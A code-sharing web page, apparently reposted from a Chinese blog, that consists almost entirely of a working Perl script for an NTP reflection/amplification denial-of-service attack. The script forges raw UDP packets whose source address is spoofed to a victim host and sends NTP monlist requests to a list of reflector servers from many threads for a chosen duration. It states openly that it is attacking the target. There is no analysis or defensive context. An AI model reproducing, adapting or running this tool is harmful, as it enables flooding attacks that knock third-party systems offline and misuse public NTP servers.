码迷,mamicode.com
首页 > 其他好文 > 详细

NTP,PERL

时间:2014-06-22 12:52:47      阅读:310      评论:0      收藏:0      [点我收藏+]

标签:tar   get   art   os   set   name   

use threads;


use Socket;





my $num_of_threads = $ARGV[5];


my $target = $ARGV[0];


my $udp_src_port = $ARGV[1];


my $time = $ARGV[2];


#Open Input List.


my $openme = $ARGV[3];





open my $handle, ‘<‘, $openme;


chomp(my @servers = <$handle>);


close $handle;





my $ppr = $ARGV[4];


my @threads = initThreads();


print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";





#Does the list exist?


if (-e $openme) {


print "Using $openme as list.\n";


}


unless (-e $openme) {


print "List does not exist.\n";


exit();


}





#Start Threading


foreach(@threads){


$_ = threads->create(\&attackshit);


}


foreach(@threads){


$_->join();


}





sub initThreads{


my @initThreads;


for(my $i = 1;$i<=$num_of_threads;$i++){


push(@initThreads,$i);


}


return @initThreads;


}








#Start DDosing.


sub attackshit{


alarm("$time");


repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];


my $ip_src = ( gethostbyname($target) )[4];


socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;


setsockopt( RAW, 0, 1, 1 );


main();





sub main {


my $packet;


$packet = ip_header();


$packet .= udp_header();


$packet .= payload();


#send_packet($packet) && goto repeat;


#send_packet($packet)


for (1 .. $ppr) {


send_packet($packet) or last;


}


goto repeat;


}





sub ip_header {


my $ip_ver = 4;


my $ip_header_len = 5;


my $ip_tos = 0;


my $ip_total_len = $ip_header_len + 20;


my $ip_frag_id = 0;


my $ip_frag_flag = "010";#"\x30\x31\x30";


my $ip_frag_offset = "0000000000000";#"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";


my $ip_ttl = 255;


my $ip_proto = 17;


my $ip_checksum = 0;


my $ip_header = pack( "H2 H2 n n B16 h2 c n a4 a4",#"\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",


$ip_ver.$ip_header_len,


$ip_tos,


$ip_total_len,


$ip_frag_id,


$ip_frag_flag.$ip_frag_offset,


$ip_ttl,


$ip_proto,


$ip_checksum,


$ip_src,


$ip_dst


);


return $ip_header;


}





sub udp_header {


my $udp_dst_port = 123;


my $udp_len = 8 + length( payload() );


my $udp_checksum = 0;


my $udp_header = pack(


"n n n n",#"\x6E\x20\x6E\x20\x6E\x20\x6E",


$udp_src_port,


$udp_dst_port,


$udp_len,


$udp_checksum


);


return $udp_header;


}





sub payload {


my $data = "\x17\x00\x03\x2a" . "\x00" x 4;


my $payload = pack( "a".length($data), $data );


return $payload;


}





sub send_packet {


send( RAW, $_[0], 0, pack( "Sna4x8", AF_INET, 60, $ip_dst ) );


}





}

NTP,PERL,布布扣,bubuko.com

NTP,PERL

标签:tar   get   art   os   set   name   

原文地址:http://www.cnblogs.com/ye1031/p/3801670.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!